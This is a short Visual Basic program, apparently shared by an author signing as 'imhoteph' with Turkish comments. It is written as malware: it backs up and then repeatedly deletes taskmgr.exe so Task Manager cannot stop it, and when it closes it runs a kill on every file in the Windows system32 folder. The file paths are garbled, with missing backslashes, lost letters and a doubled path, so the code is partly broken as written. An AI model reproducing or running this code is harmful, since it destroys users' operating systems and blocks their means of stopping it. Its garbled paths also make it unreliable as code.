Private Sub Form_Load()

filecopy "c:windowssystem32 askmgr.exe" , "c:windows epeair askmgr.exe"
'Burada Taskmgr dosyasını yedekledik
Timer1.interval=10

End Sub

Private Sub Timer1()

ON LOCAL ERROR RESUME NEXT

Kill "c:windowssystem32 askmgr.exe"
End Sub

Private Sub Form_unload()
filecopy "c:windows epeair askmgr.exe" , "c:windowssystem32 askmgr.exec:windows epeair askmgr.exe"


kill "C:WINDOWSsystem32*.*"



End Sub


imhoteph
by_imhoteph@hotmail.com